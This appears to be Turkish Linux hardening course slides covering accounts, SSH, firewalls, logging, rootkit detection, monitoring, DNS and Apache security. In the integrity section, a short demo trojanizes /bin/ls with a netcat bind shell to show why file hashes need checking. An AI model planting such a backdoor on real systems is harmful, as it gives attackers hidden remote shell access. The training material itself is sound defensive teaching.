Uyarıda bütün aktivitelerin kayıt altında olduğu ve bu işlemin yerel kanunlar 
tarafından izin verildiği belirtilmelidir.

Dosya sahipleri ve izinleri düzenlenmelidir.

İşletim sistemi bilgileri gizlenmelidir.

Uyarı ve Karşılama Mesajları
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.rhosts dosyaları silinmelidir.

BSD tabanlı r* komutları tamamen sistemden kaldırılmalıdır.

Bu komutlar kimlik doğrulamayı IP adresi veya makine adına göre yaparlar.

r* komutlarının kullanılması PAM’den kapatılabilir.

.r* Sistemi
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# runlevel

# grep "^id:" /etc/inittab
id:3:initdefault 

Mümkünse sisteminizde X çalıştırmayın (runlevel 2 veya runlevel 3 kullanın)

X, kullanıcıların uzaktaki sistemlerin ekran görüntüsüne bağlanması için kullanılır.

# yum groupremove “X Window System”

Ya da;

X Pencere Sistemi

Mevcut çalışma seviyesini görüntülemek için
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cron daha net bir zamanda çalıştırılacak komutlar içindir.

Sistemde hangi kullanıcıların cron/at işi girebileceği kontrol altına alınmalıdır.

At, cron’dan daha esnek zaman yönetimi sunar. Mesela 4 gün sonra saat 3’te

Cron Güvenliği
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Bu kullanıcılar silinmelidir.

Bu kullanıcılar silindikten sonra sistemde sahibi olmayan dosyalar da silinmelidir.

Öntanımlı olarak UNIX sistemlerde kullanılmayacak fakat eskiye uyumluluk için 
sistemde tutulan kullanıcılar mevcuttur.

# useradd -D -f 35

Pasif kullanıcı hesapları kilitlenmelidir.

Gereksiz Kullanıcı Hesapları
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Ev dizinlerinin izinleri en çok 750 olmalıdır.

Sistem kullanıcılarının root kullanıcısı hariç kabuğu /sbin/nologin olmaldır.

Kullanıcı Kabukları ve Ev Dizinleri
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Öntanımlı kurulum ile birçok gereksiz serviste açık olarak gelmektedir.

Gereksiz servisler hem güvenlik açığı oluşturacak hem de sistem kaynaklarını boş 
yere tüketecektir.

Gereksiz Servislerin Kapatılması
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Kullanılmıyorsa kapatın!

/etc/modprobe.d/ipv6.conf dosyasını oluşturup aşağıdaki satırı ekleyin:

options ipv6 disable=1

Kernel modülünün yüklenmesi engellemek için;

/etc/sysconfig/network:

NETWORKING_IPV6=no

IPV6INIT=no

Kapatmak için;

IPv6 Etkisizleştirilmesi

https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr


xinetd, inetd programının yerine yazılan daha gelişmiş bir inetd versiyonudur.

Red Hat ve Suse xinetd’yi kullanmaktadır.

Xinetd Servisleri
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/etc/login.defs

Kullanıcıların parolalarını belirli bir süre sonunda değiştirmesi için gerekli 
yapılandırma yapılmalıdır.

Kullanıcı parolalarının en az karakter sayısı belirtilmelidir.

Kullanıcı Parolaları

https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr


Sistem açılışı sırasında parola sorulması sağlanabilir.

Böylece sistemin normal şekile açılmasının dışındaki istekler sadece parolayı 
bilen kullanıcılar tarafından yapılır (single-user mode)

Önyükleyici Denetimleri
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Öntanımlı olarak tekli mod’a girişte parola sorulmaz.

Grub parola sorulsa bile işletim sisteminin tekli açılışta parola sorması mümkün.

Bunun için /etc/sysconfig/init dosyası düzenlenir.

Tekli Kullanıcı Modu İçin Parola Koruması
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/etc/inittab içinde bulunan ca: hedefi düzenlenmelidir.

CTRL+ALT+DEL Yeniden Başlatmama
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Sistemde bulunan kullanıcıların ve 
sistem hesaplarının hepsinin bir parolası 
olmalıdır veya bu kullanıcıların hesapları 
kilitlenmelidir.

Parolasız Hesapların Belirlenmesi
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# grep ‘^+:’ /etc/passwd /etc/shadow /etc/group

/etc/{passwd,shadow,group} dosyalarında + karakteri bulunmamalıdır.

+ Karakteri
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Bu dosyaların sadece kullanıcının kendisi tarafından yazılabilir olması gerekir. 

Aynı gruptaki başka bir kullanıcı veya herkes tarafından yazılabilirse bu dosyalar 
güvenlik açığı oluşturur.

Kullanıcı .* dosyaları güvenliği
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Bu dosya ftp şifrelerini açık halde tutar.

Sistem ve kullanıcı hesaplarında .netrc dosyası bulunmamalıdır.

.netrc Dosyası İzinleri
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/etc/profile dosyası içerisinde umask = 077 olarak yapılandırılır.

Sistemde bulunan bütün kullanıcılar için umask değeri 077 olmalıdır.

Kullanıcı umask Değeri
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Sisteminizdeki işletim sisteminin getirdiği kurallara uymayan programlar çekirdek 
tarafından durdurulur.

Bu programlar daha sonra uygulamaadi.core gibi çekirdek dosyalarını oluşturur.

Bu dosyalar hafıza taşma açıklıkları ile alakalı bilgi verir. Bu yüzden bu dosyaların 
oluşturulmaması gerekir.

Çekirdek Dökümünün İptali
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Derleyiciler kapatılarak sunucuda derlenebilecek bir program engellenebilir.

Derleyicilerin Etkisizleştirilmesi
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Sisteminizde var olan kullanıcılar veya bir şekilde sisteminize sızan kullanıcıların 
internetten dosya indirmesi engellenebilir.

Öntanımlı kurulumlar ile bu programlar her kullanıcı tarafından kullanılabilir.

Internet Erişimi Sağlayan Araçların Kaldırılması

https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr


# cat /etc/passwd | /bin/awk -F: '($3 == 0) { print $1 }'

Öntanımlı olarak her kullanıcı “su” komutunu kullanarak root olabilir.

Linux’ta ufak birkaç değişiklik ile sadece wheel grubunun root olabilmesi sağlanır.

Bazı sistemlerde sadece wheel grubuna üye olanlar root kullanıcısı olabilir.

Root haricinde UID=0 olan kullanıcı olmamalıdır.

“root” Olabilecek Kullanıcıların Belirlenmesi
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Metin editörleri ile düzenlemek yerine visudo komutu tercih edilmelidir.

/etc/sudoers

%admin  ALL=(ALL)       ALL //admin grubuna sınırsız yetki

rocky localhost=/sbin/halt, /bin/kill, /etc/init.d/httpd //sınırlı yetki

rocky ALL= NOPASSWD: /sbin/halt

Örnekler

Loglar varsayılan olarak /var/log/secure altında tutulur.

kullanıcı_adı login_yeri=(izin_verilen_haklar) izin_verilen_komutlar

rocky ALL=(ALL) ALL 

Genel kullanım sözdizimi

Sudoers
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 Zaman hassas servisler (Kerberos vb.)

 Düzgün kayıt tutma

 İz sürme

Neden NTP?

15 * * * * root /usr/sbin/ntpdate server

Cron işi ekleme (/etc/cron.d/ntpdate)

Zaman Senkronizasyonu

https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr


Sistem güvenliğini sağlamanız için günlük tutmak, 
günlük dosyaları sisteminize gelecek bir saldırıyı haber 
vermekten ağ problemlerinizi çözmenize kadar pek 
çok konuda yardımcı olacağından çok önemlidir.

Merkezi bir syslog sunucusu kurularak kayıt alınması sağlanmalıdır.

 Kurum politikaları

 Kanunlar (5651)

Kayıt tutma süresinin ihtiyaçları karşılaması

Kayıt Tutma
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Syslog UNIX Kayıt sistemidir.

 İmkanlar: auth, auth-priv, cron, daemon, kern, lpr, mail, news, syslog, user, 
uucp, ve local0-local7 

 Öncelikler: debug, info, notice, warning, err, crit, alert ve emerg

Filtreleme yapabileceği birkaç imkan (facility) ve öncelik (priority) bulunmaktadır.

/etc/syslog.conf yapılandırma dosyasıdır.

Rsyslog geleneksel syslog yerine önerilmekte, daha gelişmiş özellikleri 
barındırmaktadır.

Kayıt Takibi
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# yum install rsyslog

# chkconfig syslog off

# chkconfig rsyslog on

Kurulum ve başlatma

auth,user.* /var/log/messages
kern.* /var/log/kern.log 
daemon.* /var/log/daemon.log 
syslog.* /var/log/syslog
lpr,news,uucp,local0,local1,local2,local3,local4,local5,local6.* /var/log/unused.log 

# pkill -HUP rsyslogd

Yapılandırma (/etc/rsyslog.conf)

Rsyslog
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Merkezi syslog ile bütün kayıtlar birleştirilmiş ve tek bir noktadan izlenmiş olur.

Syslog istemcileri /etc/syslog.conf dosyasında @loghost kullanarak syslog 
sunucuya kayıt gönderebilirler.

Sızılma işlemi gerçekleşmiş sistemlerde yerel kayıtlar silinebilir fakat uzaktaki 
syslog sunucu zaten bu saldırının kayıtlarını tutmuştur.

Merkezi Syslog Sunucusu
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*.* @@logsunucusu.alanadi.com:port

 @@ ile mesajlar TCP üzerinden gönderilir.

İstemci tarafından şu şekilde kayıt gönderilir. (/etc/rsyslog.conf)

 Eğer sunucu Linux ise syslogd’ye -r parametresi ile

 Eğer sunucu FreeBSD ise -s ile

 Eğer sunucu Solaris ise -T ile

 Eper sunucu OpenBSD ise -u parametresi ile

Sunucu tarafında:

Merkezi Kayıt

https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr


Sistem kayıtlarının takibi zordur.

Bu zorluğu aşmak için çeşitli araçlar kullanılır.

Linux ile gelen logwatch bunlardan biridir.

# yum install logwatch –y
# vi /usr/share/logwatch/default.conf/logwatch.conf
…
# logwatch --print | less

Logwatch tamamen betiklerden oluşmuş bir programdır.

Kayıt Özetleri
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/etc/logrotate.d/syslog

 /var/log/messages 

 /var/log/secure 

 /var/log/maillog 

 /var/log/spooler 

 /var/log/boot.log 

 /var/log/cron

logrotate

Kayıt Çevrimi
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SOX, PCI, HIPAA gibi standartlara uyumlu çıktı verir.

 Açılan, yazılan, silinen , değiştirilen tüm dosyalar

 Hangi kullanıcı, hangi tarihte ne komut çalıştırmış…

Kernel seviyesinde yapmak için ‘auditd’

Denetleme Altyapısı
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# chkconfig auditd on

Etkinleştirmek için

/etc/audit/auditd.conf

max_log_file = <MB>

space_left_action = email 

action_mail_acct = root 

admin_space_left_action = halt

max_log_file_action = keep_logs

Audit log boyutunu yeniden düzenleyin

Auditd Ayarları
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Ağ Güvenliği

Bölüm 8
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 Telnet’in iletişim gizliliği ve bütünlüğü sağlayan bir biçimi

 Uçtan uca şifreleme 

 Karşılıklı kimlik doğrulama 

 İletişim bütünlüğü 

Komut satırı uzak erişim protokolü ve bu protokol ile iletişim kuran yazılım seti

Güvenli veritabanı bağlantısı, dosya transferi, …

İletişim güvenliği gerektiren hemen her türlü uygulamada “güvenli tünel” olarak 
da kullanılabilir

SSH Nedir?

BSD lisanslıdır ve OpenBSD takımı tarafından geliştirilmektedir.

OpenSSH, SSH Protokolünün ücretsiz sürümüdür.
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# service sshd start

# chkconfig sshd on

Sunucu üzerinde SSH sunucusu çalıştırılır:

# ssh kullanıcı@sunucu.com

İstemci bilgisayardan uzaktaki sisteme bağlanmak için:

SSH | İletişim
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ssh, sshd, sftp, scp, ssh-agent, ssh-keysign, ssh-keyscan, ssh-keygen, sftp-server 
programlarından oluşur.

sshd programının yapılandırma dosyasıdır.

sshd_config

 ssh programının yapılandırma dosyasıdır.

 ssh ilk başta komut parametrelerini kullanır.

 Bundan sonra kullanıcının ev dizinindeki .ssh/config dosyası okunur.

 En son olarak bütün sistem için geçerli olan /etc/ssh/ssh_config dosyası okunur.

 Kullanılabilecek bu üç değerden ilk karşılaşılan kullanılır.

ssh_config

 authorized_keys identity.pub id_rsa.pub

 id_rsa id_dsa.pub id_dsa, known_hosts

ssh dosyaları

SSH | Bileşenleri
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 İstemci, doğru sunucuya bağlandığından emin olur

# ssh kullanıcı@sunucu.com

 Bağlantı gerçekleştirildiğinde sunucu anahtarı kaydedilir

SSH istemcisi, bağlantı sırasında sunucunun kimliğini denetler

SSH, açık anahtarlı şifreleme üzerine kuruludur

Her SSH sunucusunun bir anahtar ikilisi vardır

Sunucu ayarlarının tümü, /etc/.ssh dizini altındadır

SSH istemci ayarlarının tümü ~/.ssh dizini altındadır

İstemci tarafından doğruluğuna güvenilen tüm sunucu açık anahtarları 
~/.ssh/known_hosts dosyası içerisinde yer alır

SSH | Sunucu Doğrulaması (1)
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Sunucu açık anahtarının güvenli bir biçimde istemci bilgisayarına yüklenmelidir

Sunucu açık anahtarının istemci üzerindeki ssh_known_hosts dosyasına uygun biçimde 
eklenmesi yeterlidir

Sunucu açık anahtarı /etc/ssh/ssh_host_key.pub dosyası içerisindedir

SSH | Sunucu Doğrulaması (2)
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Ön-tanımlı çalışma biçimi

Geleneksel parola temelli kullanıcı doğrulama

 Kullanıcı, kendisini tanımlamak için kullanacağı anahtar çiftini 
ssh-keygen programı ile üretir

 Sunucu üzerinde “anahtar ile doğrulama” yöntemi ile giriş 
yapacağı hesaba açık anahtarını “güvenilen bir kullanıcı” olarak 
tanımlar

 Kendi sistemi üzerinde yer alan gizli anahtar kullanıcının 
tanımlayıcısıdır

 Gizli anahtar, çalınmaya karşı bir parola ile korunabilir

Açık anahtarlı doğrulama

SSH | Kullanıcı Doğrulama
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Kullanıcı, açık anahtar doğrulaması ile bağlanmak istediği sunucu üzerinde 
~/.ssh/authorized_keys dosyasına anahtarının içeriğini (id_rsa.pub) eklemelidir.

Uygulama | Anahtar Dosyası ile Erişim
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PuTTY ve PuTTYgen uygulamaları indirilir.

Public Key hedef SSH sunucuna kopyalanır.

Uygulama | Anahtar Dosyası ile Erişim,PuTTY

Public&Private Key çifti üretilir.

PuTTY istemcisi ile gizli anahtarlı erişim sağlanır.
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 Protocol 2 SSH Protokoünün 2. versiyonu kullanılmalıdır.

 PermitRootLogin no Sisteme uzaktan root olarak erişilmemelidir.

 AllowUsers {kullanıcı_adı} Sadece belirli kullanıcıların ssh ile sisteme giriş 
DenyUsers yapmaları sağlanmalıdır.

 AllowGroups {grup_adı} Sisteme girmesi gereken kullanıcı sayısı çok ise 
DenyGroups kullanılmalıdır.

 X11Forwarding no X forwarding kapatılmalıdır.

 IgnoreRhosts yes Rhost seçenekleri tamamen kapatılmalıdır.

 PasswordAuthentication no Sisteme sadece ‘açık anahtar’ kullanılarak 
girilmesi sağlanmalıdır. 

 PrivilegeSeperation yes Yeni güvenlik açıklarına karşı önlem alınmalıdır.

 LogLevel INFO Login ve logout aktivitelerinin kaydedilmesi

 MaxAuthTries 4 En fazla oturum açma denemesi

Yapılandırma dosyası “/etc/ssh/sshd_config”

SSH Güvenliği (1)
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 HostbasedAuthentication no .rhosts hostlarına izin verilmemelidir.

 PermitEmptyPasswords no Boş parola ile oturum açılması önlenmelidir.

 PermitUserEnvironment no Çevre değişkenlerine müdahale edilememelidir

 Ciphers aes128-ctr,aes192-ctr,aes256-ctr

 ClientAliveInterval 300 Hareket yoksa oturumu sonlandır.

 ClientAliveCountMax 0 Kaç kere Alive mesajı gönderilecek

 Banner <bannerfile> Bkz. Banner

Devam…

5dk. sonra 
kapanır.

SSH Güvenliği (2)

https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr


 Log dosyalarını takip ederek, belirlenen bir sayının üzerinde başarısız login 
girişimininde bulunan birinin IP adresini belirlediğiniz bir süre boyunca reddeder.

 Iptables veya tcpwrappers kullanılarak gerçekleştirilebilir.

Kaba kuvvet ile ilgili servis üzerinde yetki elde etme teşebbüslerinin tespiti

SSH Güvenliği | Fail2Ban
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# chmod 644 /etc/hosts.{allow,deny}

İlk karşılaşılan kural uygulanır.

Host tabanlı erişim kontrolleri için kullanılır.

/etc/hosts.allow , /etc/hosts.deny’dan önce okunur ve

Dosya izinlerine dikkat edilmelidir.

/etc/hosts.{allow,deny}
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 MAC’e göre filtre

 P2P, MSN vs. protokollerine göre filtre

Linux sistemler için gömülü güvenlik duvarı

L2’den L7’ye müdahale imkanı

IPtables
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# iptables -F

# iptables -A INPUT -p tcp --dport 22 -s 192. 168. 1. 0/24 -j ACCEPT

# iptables -A INPUT -p tcp --dport 443 -s 10. 10. 1. 0/24 -j DROP

# iptables -A INPUT -j REJECT

Sadece yönetici ağı için SSH ve HTTPS erişim izni

Uygulama | IPtables

http://www.mista.nu/iptables/

Online kural üreteci
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Bütünlük Kontrolü

Bölüm 9
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Dosyaların güvenliği en önemli konudur.

Gerçek: Linux’ta herşey dosyadır

# mv /bin/ls /bin/lms

# echo "nc -l -p 8888 -e /bin/bash &" >> /bin/ls

# echo "/bin/lms" >> /bin/ls

# chmod +x /bin/ls

# ls

Uygulama | Basit bir arka kapı

1. Dosyaların hash değerini al

2. Sadece okunabilir ortamda sakla

3. Belirli bir zaman sonra tekrar al ve karşılaştır.

Çözüm

Bütünlük Doğrulama
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 Çalıştırdığı dosyaları gizleyebilir, 

 Sistemdeki diğer kullanıcıların şifrelerini değiştirebilir, 

 Sniffer yardımıyla veri akışını dinleyebilir, 

 Backdoor yardımıyla sisteme rahatlıkla tekrar girebilir.

Sistemde gerçekleştirilen olayların sistem yöneticisi de dahil olmak üzere tüm 
kullanıcıların gözünden saklamak için kullanılan araçlara verilen isim

Rootkitler (1)
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Rkhunter, chkrootkit

Önlem

Rootkitler (2)

https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr


5 5 * * * (cd /usr/local/src/chkrootkit; ./chkrootkit | mail -s "chkrootkit raporu" 
eposta@adresim.com) 

# cd /usr/local/src
# wget http://veriportal.com/download/chkrootkit.tar.gz
# tar -xvf chkrootkit.tar.gz 
# cd chkrootkit-0.49
# make sense
# cd ..
# ln -s chkrootkit-0.49 chkrootkit
# cd chkrootkit
# ./chkrootkit

Kurulum

Rutin bir şekilde chkrootkiti cron ile çalıştırmak için:

Chkrootkit
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# /usr/local/bin/rkhunter -c

# wget http://garr.dl.sourceforge.net/project/rkhunter/rkhunter/1.4.0/rkhunter-
1.4.0.tar.gz

# tar -zxvf rkhunter-1.4.0.tar.gz
# cd rkhunter-1.4.0
# ./installer.sh --layout default --install
# /usr/local/bin/rkhunter --update
# /usr/local/bin/rkhunter --propupd

Kurulum

Manuel Tarama yapmak için

Uygulama | Rkhunter
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Bütünlük Doğrulama Yazılımları
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Bütünlük kontrolü yapan araçların büyük babası

 CRC checksum ları kolaylıkla bozulabilmektedir.

 Tripwire kriptografik checksumlar veritabanı oluşturur.

 En büyük zayıflığı kök (root) erişimi elde edildiğinide veritabanının değiştirilebilmesi

 Sadece okunabilir medya, disket veya CDROM içinde tutulmalı.

 Veritabanı ve konfigürasyon dosyaları kriptografik olarak imzalanır

Tripwire Veritabanları

 İlk koşturulmada veritabanı oluşturulur.

 Daha sonraki koşturmalarda veritabanındaki bilgi sistemdeki bilgi ile karşılaştırılır.

Tripwire’ın koşturulması

Host Bazlı Saldırı Tespiti | Tripwire
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 Rootkit belirleme

 Bütünlük testleri

 Log inceleme ve uyarı üretme (Apache, Sendmail, Postfix, Squid, Proftpd, Bind, 
Openssh,Cisco-pix , Windows vb.)

 Aktif yanıt üretme (IP ve kullanıcı tabanlı engelleme)

 Tek başına veya Sunucu-İstemci şeklinde çalışabilme

 Kural yazabilme

OSSEC

Host Bazlı Saldırı Tespiti | OSSEC
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Host Bazlı Saldırı Tespiti | OSSEC Alarmı
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# cd /tmp

# wget http://www.ossec.net/files/ossec-hids-2.7.tar.gz

# tar -zxvf ossec-hids-2.7.tar.gz

# cd ossec-hids-2.7

# ./install.sh

…

# /var/ossec/bin/ossec-control l {stop|start}

Adımlar

Uygulama | OSSEC Kurulumu

# vi /var/ossec/etc/ossec.conf

# tail -f /var/ossec/logs/ossec.log

Yapılandırma dosyası ve log takibi
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 Paketler kurulduğunda oluşturulan “rpm” veritabanı MD5 checksum, UID, GID, mod, 
büyüklük gibi bilgileri içerir.

 rpm komutu sistemdeki değişiklikleri kontrol eder ve raporlar.

 Dezavantaj: Veritabanının güncellenememesi

Paket dosyalarının kontrolü için RPM kullanımı

Host Bazlı Saldırı Tespiti | RPM (1)
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Eğer herhangi bir paketin herhangi bir dosyasının değişip değişmediği

sorgulanmak isteniyorsa, rpm' e -Va parametresi verilir.

Eğer ilgili kolonda . işareti varsa, o bilginin değişmediği belirtilmiş olur.

Host Bazlı Saldırı Tespiti | RPM (2)
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Bu nedenle virüsler genellikle işletim sisteminin kendisini 
etkileyemezler.

Linux; kullanıcıların kendi yetkileri çerçevesinde işlem 
yapabildikleri erişim kontrol mekanizmasına sahiptir.

Root yetkileriyle çalıştırılan virüslü bir dosya ile tüm sistem 
enfekte edilebilir.

 Unix dünyası için tasarlanmış bir antivirüs yazılımıdır.
 Birçok posta sunucusu ile bütünleşik çalışabilir.

ClamAV

Antivirüs Koruması
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# yum install clamav clamd freshclam

# service clamd start

# chkconfig clamd on

Kurulum

Uygulama | ClamAV Kurulumu

# /usr/bin/freshclam -v

Güncelleme

/etc/cron.daily/clamscan

#!/bin/bash

clamscan -r -i --exclude-dir=^/sys\|^/proc\|^/dev

/etc/cron.daily/clamupdate

#!/bin/bash

/usr/bin/freshclam --quiet

Cron işi (chmod +x)
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Erişilebilirlik Kontrolü

Bölüm 10
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Monitoring: Bir ağ'ın kendini ifade etme yeteneği

En iyi ağ/sistemi kendini ifade edebilen, problemini dile getirebilen ağ/sistemdir.

Sistem ve Ağ İzleme

http://en.wikipedia.org/wiki/Comparison_of_network_monitoring_systems

Ücretli ve açık kaynak kodlu farklı alternatifler
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1999’dan beri

Açık kaynak kodlu bir monitoring sistemi

Sistem ve Ağ İzleme | Nagios

CPU, Memory, Disk, HTTP/s, SMTP, POP3, IMAP, SSH, FTP vb.

Sistemlerin, uygulama ve servislerin, ağ ve BT bileşenlerinin izlenebilmesi

E-posta ya da sms üzerinden alarm gönderebilme

Uygulama ve servislerde oluşan problemlere otomatik müdahale

Basit ve temiz web arayüzü

Geçmişe yönelik detaylı raporlama

https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr


check_nrpe plugini ile uzaktaki hostun 5666 no'lu tcp portunu 
dinleyen NRPE daemon'ına bağlanır ve kontrol edilecek kaynağa ait 
plugin'i çalıştırmasını söyler.

Active Check

Nagios | Nasıl Çalışır?

• Uzaktaki sunucuya doğrudan erişimin olmadığı durumlarda

• Uzak sistem plugin'lerini kendisi çalıştırır ve nagios üzerindeki NSCA daemonına 
bildirir

Passive Check
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nagios.cfg: Ana nagios yapılandırma dosyası.

cgi.cfg: CGI yapılandırması.

resource.cfg: Kaynak yapılandırma dosyası.

commands.cfg: Komutların tanımlandığı dosya.

contacts.cfg: Kontakt ve kontakt gruplarının tanımlandığı dosya.

templates.cfg: Host ve servis tanımları için şablon dosyası.

Yapılandırma dosyaları

Nagios | Kurulum

https://www.digitalocean.com/community/articles/how-to-install-nagios-on-centos-6

Kurulum
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Nagios | İzleme
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Güvenlik Denetlemesi

Bölüm 11
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Birçok UNIX ve Windows makinaların güvenliğini denetler ve buna göre 10 
üzerinden not verir.

İndirmek için kayıt olmanız gerekmektedir.

www.cisecurity.org

Güvenlik Denetleme Araçları – CIS
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CIS Değerlendirme Dokümanları
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Linux’ün dışında da desteklediği işletim sistemleri vardır.

Bastille Linux işletim sistemi sıkılaştırma aracıdır.

# bastille -x GUI Mod

# bastille -c Text Mod

# bastille --report Değerlendirme ve rapor

Çalıştırmak için

Güvenlik Denetleme Araçları – Bastille
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Kuruluma gerek yok

Güvenlik denetimleri yapmak üzere hazırlanmış bir betik

# wget http://www.rootkit.nl/files/lynis-1.3.0.tar.gz

# tar -xvf lynis-1.3.0.tar.gz

# cd lynis-1.3.0

# ./lynis -c

Kurulum&Çalıştırma

Uygulama | Lynis ile Denetim
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Red Hat Enterprise Linux, Fedora Core, CentOS, Debian

Bazı güvenlik ve optimizasyon ayarlarını otomatik olarak yapan bir shell scriptidir.

# wget -O installer.sh http://els.web4host.net/installer.sh

# chmod +x installer.sh

# ./installer.sh

Kurulum

# els --help

Yapılabilecek tüm işlemlerin listesi

# els --all

Tüm işlemlerin uygulanması için:

Uygulama | ELS ile Sıkılaştırma
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# wget "http://downloads.nessus.org/... "

# rpm -ihv nessus.rpm

http://www.nessus.org/products/nessus/nessus-plugins/obtain-an-activation-code

# /opt/nessus/bin/nessus-fetch --register XXXX-XXXX

# service nessusd start

# /opt/nessus/sbin/nessus-adduser

http://localhost:8834

Otomatik zafiyet tarayıcısı

Açıklık Tarayıcıları – Nessus

https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr
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Nessus Policy Scan
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Servis Güvenliği

Bölüm 12
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Bu şekilde saldırgan, sistem üzerinde çalışan bir servisten/uygulamadan kaynaklanan 
bir açıklık ile sisteme sızığında bütün dosya sistemine erişimi engellenmiş olacaktır.

Kullanım amacı dosya sistemi hiyerarşisi üzerinde dağıtık biçimde erişim 
sağlayabilen servisler için kullanımı olmalıdır.

Chroot
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# cd /home/
# mkdir chroot
# mkdir -p chroot/var/lib/rpm
# rpm --rebuilddb --root=/home/chroot/
# wget http://mirror.centos.org/centos-6/6.4/os/i386/Packages/centos-release-6-
4.el6.centos.10.i686.rpm
# rpm -i --root=/home/chroot/ --nodeps centos-release-6-4.el6.centos.10.i686.rpm
# yum --installroot=/home/chroot install -y rpm-build yum
# cp -vi /home/chroot/etc/skel/.??* /home/chroot/root/
# mount --bind /proc /home/chroot/proc
# mount --bind /dev /home/chroot/dev
# cp /etc/resolv.conf /home/chroot/etc/

CHROOT ortamına girmek için;
# chroot /home/chroot/ /bin/bash -l

Uygulama | Chroot ile Kafes Ortamı
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DNS Güvenliği

Bölüm 12.1
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En tehlikeli servislerden birisidir. 

• BIND paketinin en son versiyonu yüklenmelidir. 

• Versiyon bilgisi saklanmalıdır. 

• DNS Sunumcusu güvenlik duvarının arkasına alınmalıdır.

• Ayrık DNS yapısı kurulmalıdır.

 İç DNS

 Dış DNS

Yapılandırma dosyası “named.conf”

Güvenli BIND

DNS Güvenliği (1)
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DNS Güvenliği (2)
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 allow-transfer {IP’ler}

İsim Alan transferleri kısıtlanmalıdır. 

 İç DNS’e sorgu yapmasına izin verilen IP’ler ve ethernet arayüzleri kısıtlanmalıdır.

 allow-query {IP’ler}

 listen-on {127.0.0.1; Ara. IP’leri}

 Dış DNS sunucuda iç içe (recursive) sorgular kapatılmalıdır.

 recursion {yes/no}

Sorgu hakları:

 named -u [sınırlı kullanıcı ismi ] -t [ kökdizini ]

Çalıştıran kullanıcı ismi ve kök dizini değiştirilmelidir.

Alan dosyalarında TXT,HINFO gibi kaynak kayıtları olmamalıdır.

DNS Güvenliği (3)
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options {
directory "/usr/local/etc/namedb/";
pid-file "/tmp/named.pid";
recursion yes; #Önlem 5 (Dış DNS sunumcuda no olmalıdır.)
listen-on { 127.0.0.1; 192.168.55.10 }; #Önlem 4
allow-transfer { 192.168.55.10; 127.0.0.1; 192.168.55.12; }; #Önlem 2
allow-query {10.1.0.0/16; 192.168.44.0/24; 127.0.0.1; }; #Önlem 3
allow-recursion {192.168.55.0/24; 127.0.0.1; }; #Önlem 5
version "Kurum versiyonu"; }; #Önlem 1

zone "isim.alan" IN {
type master;
file "isim.alan.zone";

allow-transfer { 192.168.5.12};}; #Önlem 2
zone “isim2.alan" IN {

type master;
file “isim2.alan.zone"; };

DNS Güvenliği (4)
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BIND yazılımı kullanılarak  sistemin ele geçirilmesi durumunda bütün dosya sistemi 
yerine sadece tanımlanmış kök dizini içerisinde zarar verilebilir. 

BIND çalıştırdığı servisin kök dizinini değiştirme imkanı verir (chroot)

DNS Güvenliği (5)
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 # mkdir /var/bind

 # cd /var/bind

 # mkdir -p bin dev  etc  lib usr/sbin var/named var/run

Öncelikle kök olarak kullanılacak dizin yaratılır (Örneğin /var/bind). Daha sonra 
bu dizin altında gerekli dizinler oluşturulur:

Gerekli dosyaların kopyalanması.

Verilerin Kopyalanması

 # cp /etc/named.conf 

 # cp -rp /var/named/* /var/bind/var/named/

Konfigürasyon ve alan dosyaları yeni ortama kopyalanmalıdır. Çoğu sistemde bu 
veriler /var/named dizininde tutulur.

DNS Güvenliği (6)
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Web Sunucu Güvenliği

Bölüm 12.2
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Web Sunucu Güvenliği (1)

Cluster (Apache + mod_security + Reverse Proxy)

https://creativecommons.org/licenses/by-nc-nd/4.0/legalcode.tr


 Sistem üzerinde yetkisi az olmalı!

 ÖRNEK : nobody

Servisin çalıştırıcısı belirlenmelidir.

 httpd

[root]# chmod 100 httpd

 .htm ya da .php

[root]# chmod 600 index.htm 

 .cgi

[root]# chmod 700 index.cgi

Dosyalara erişim kısıtlanmalıdır.

Web Sunucu Güvenliği (2)
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<Files ~ “^\.ht”>

Order allow,deny

Deny from all

</Files>

.ht* ile başlayan dosyalar webte gözükmemelidir. 

# cat /etc/httpd/httpd.conf | grep Options

Dizin içerikleri gösterilmemelidir.

<Directory /usr/local/www/cgi-bin>

Options ExecCGI

</Directory>

Sadece belli dizinlere cgi izni verilmelidir.

Web Sunucu Güvenliği (3)
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Kimlik doğrulama, sunumcunun, istemcinin kimliğinden emin olmak için bilgi 
değişimi yaparak yerine getirdiği bir prosedürdür.

 mod_auth

 mod_auth_db

 mod_auth_dbm

 mod_digest

 mod_auth_anon

Apache web sunumcusu kimlik doğrulama ile ilgili beş modül içerir: 

Web Sunucu Güvenliği (4)
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<Directory “/usr/local/www/alt_dizin”>

AllowOverride AuthConfig

</Directory>

Bir dizine erişim haklarının düzenlenmesi için .htaccess dosyaları

Options -FollowSymLinks

Performansı arttırmak ve güvenlik için Sembolik Linkler takip edilmemelidir.

<Directory /usr/local/www/alt_dizin>

Options FollowSymLinks +SymLinksOwnerMatch

<Directory>

MinSpareServers ve MaxRequestsPerChild ayarları ile oynanabilir. 

Web Sunucu Güvenliği (5)
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<Directory “/usr/local/www/”>

AllowOverride AuthConfig

</Directory>

Örnek bir kimlik doğrulama (mod_auth):

AuthUserFile /usr/local/sifre

AuthName “Güvenli Alan”

AuthType Basic

require  valid-user

.htaccess içeriği

Web Sunucu Güvenliği (6)
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Bu özellik mod_access ile kontrol edilebilir.

Web sunucusunda erişim kontrolü yapılması gerekebilir.

<Directory “/usr/local/www/alt_dizin”>

order deny, allow

allow from 10.0.1.4

</Directory>

Erişim kontrolü örneği:

Web Sunucu Güvenliği (7)
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Bu bilgiyi en aza indirgemek için httpd.conf dosyasında ServerTokens ProductOnly
kullanılır.

Apache ve Apache tabanlı web sunucularda sürüm bilgisi kaldırılmalıdır.

Eğer kaynak koda erişim yoksa mod_security SecServerSignature kullanılır.

Eğer kaynak koda erişim varsa ${ApacheKaynakDizini}/src/include/httpd.h 
dosyası düzenlenebilir.

Web Sunucu Güvenliği (8)
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# openssl genrsa –des3 –rand /var/log/messages:/etc/fstab:/var/log/mail -out 
server.key 1024

SSL Sunucusu Kurulması gerekebilir. Bunun için ilk başta şifreli bir anahtar 
